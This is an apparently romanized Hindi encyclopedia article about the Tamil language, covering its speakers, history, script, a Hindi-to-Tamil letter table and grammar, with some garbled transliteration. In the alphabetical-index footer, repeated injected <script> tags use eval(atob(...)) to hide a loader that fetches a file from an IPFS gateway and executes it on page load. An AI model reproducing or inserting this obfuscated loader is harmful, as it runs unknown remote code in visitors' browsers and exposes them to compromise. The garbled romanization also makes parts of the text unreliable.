तमिल भाषा

tamil bhasha ek dravi d bhasha hai, jisake vishvabhar mean paanch karo d se adhik bolane valoan mean se lagabhag 90% bharat mean rahate haian aur tamilanadu rajy mean kendrit 83 pratishat haian. yah bharat ki paanchavi sabase b di bhasha hai, jo desh ki lagabhag sat pratishat abadi ka pratinidhitv karati hai. mool roop se qarib 34 lakh tamil bhasha-bhashi log shrilanka mean, tin lakh siangapur mean aur do lakh maleshiya mean rahate haian. aupaniveshik kal mean pravas kar ge tamil bhashi logoan ke vanshaj m aaurishas, fiji aur dakshin amerika mean bas ge haian, inaki tamil dakshata alag-alag hai, sath hi vidyalayoan mean aupacharik adhyayan ki suvidha mean bhi bhinnata hai. dakshin bharat ki lipiyoan ke visheshajn barnel ka mat tha ki arambh mean tamil bhasha ke granth vatteळuttu lipi mean likhe jate the.

bhasha

tamil bhasha bharatiy sanvidhan mean soochibaddh 18 bhashaoan mean se ek hai, jinhean vishesh sthiti aur kary pradan kie ge haian. tamil tamilanadu (1956) se aur kendrashasit pradesh pandicheri (1965) ki sarakari bhasha aur shrilanka tatha siangapur ki sarakari bhashaoan mean se ek hai. tamil lagabhag 50 lakh logoan ki doosari bhasha hai.

itihas

tamil ka lagabhag 2,500 varshoan ka akhandit itihas likhit roop mean hai. mote taur par isake aitihasik vargikaran mean prachin- paanchavi shatabdi ee. poo. se eesa ke bad satavian shatabdi, madhy- athavian se solahavian shatabdi aur adhunik- 17vian shatabdi se kal shamil haian. kuchh vyakaranik aur shabdik parivartan in kaloan ko iangit karate haian, lekin shabdoan ki vartani mean prastut svar vaijnanik sanrachana jyoan ki tyoan bani huee hai. boli jane vali bhasha mean kafi parivartan hua hai, jisamean shabdoan ki svar vaijnanik sanrachana bhi shamil hai. is vajah se tamil jan-dvibhashit bhasha ban gee hai. is bhasha ke utkrisht prakar ko vidyalayoan mean padhaya jata hai tatha lekhan v aupacharik bhashan mean isaka upayog hota hai, jabaki gharoan mean vikasit hua nimn prakar anaupacharik batachit mean prayukt hota hai. nimn prakar ka bhi ek manak svaroop hai, jo kshetriy aur samajik (jatiy) prakaroan se bhinn hai, jisaka upayog shikshit vakta karate haian. bharatiy aur shrilankaee (jafana) tamil bhasha ke bich vyapak kshetriy bhinnata hai. tamilanadu ke bhitar uttar, pashchimi aur dakshini boli mean antar ke lakshan suspasht dikhaee dete haian. kshetriy bhinnata samajik bhinnata ke anuroop hai.

lekhan pranali

aitihasik roop se tamil lekhan pranali ka vikas brahmi lipi se vatte-lutatu (mu de hue akshar) aur kole-luttu (lambakar akshar) ke sthaniy roopaantaranoan ke sath hua. sabase prachin rachana paanchavian shatabdi ee. poo. ki ek-pankti vale abhilekhoan tatha bartanoan ke tuk doan par milati hai. samay ke sath-sath aksharoan ke akar mean vyapak parivartan hue. bad mean 16vian shatabdi mean mudran ke arambh hone se yah tham gaya. anangikrit sansakrit shabdoan ko likhane ke lie prayukt madhyakalin 'granth' aksharoan ko shamil kie jane v kuchh asatat akar ke aksharoan ko adhunik kal mean satat roop dene ke alava varnamala mean koee vyapak parivartan nahian hua hai.

hindi-tamil

niche kuchh hindi aksharoan ke tamil samanantar diye ge haian -

a - அ
a - ஆ
i -இ
ee - ஈ
u - உ
oo - ஊ
e - ஏ
ऎ - ஐ
o - ஓ
au -ஔ
k - க
kh -(க)
g - க
gh - (க)
n - ங
ch - ச
chh - (ச)
j - ஜ
jh - (ஜ)
n - ஞ
t - ட
th - (ட)
d - ட
dh - (ட)
n - ண
t - த
th - (த)
d - த
dh - (த)
n - ந, ன
p - ப
ph -(ப)
b - ப
bh - (ப)
m - ம
y - ய
r - ர, ற
v - வ
sh - ச
sh - ஷ
s - ஸ
h - ஹ

karak

sanrachana ki drishti se tamil ek kriyaant bhasha hai. isake vaky mean shabdakram mean loch hota hai aur yah arthakriyatmak roop se niyantrit hota hai. visheshan, sambandh soochak upavaky, kriya visheshan aur kriyarthak sanjna jaise visheshak samanyatah shirsh se pahale lagae jate haian. karak chihn ko sanjna ke bad jo da jata hai. vakyoan ka samuchchay antim vaky ko chho dakar sabhi vakyoan ki kriyaoan ke kridant roopoan ke zariye hota hai. roop-vidhan ki drishti se tamil ek samriddh bhasha hai, jisamean kriyaoan ke bad kee tarah ke pratyay jo de jate haian. pratyayoan ke alava roop-vidhan svaroopoan mean samapika kriya bhi shamil hai, jo ayam, kriya bhav aur vakta ke rukh ko pradarshit karati hai. svar vijnan mean tamil apane 't', 'n' aur 'aee' pratham do ke danty, varts aur moordhany tatha tisare varts, moordhany aur parshv avasthiti ke tin tarafa vibhed ke lie ullekhaniy hai. tamil ke itihas mean yah tin tarafa vibhed ghatakar do tarafa rah gaya hai, halaanki varnamala mean yah ab bhi baraqarar hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah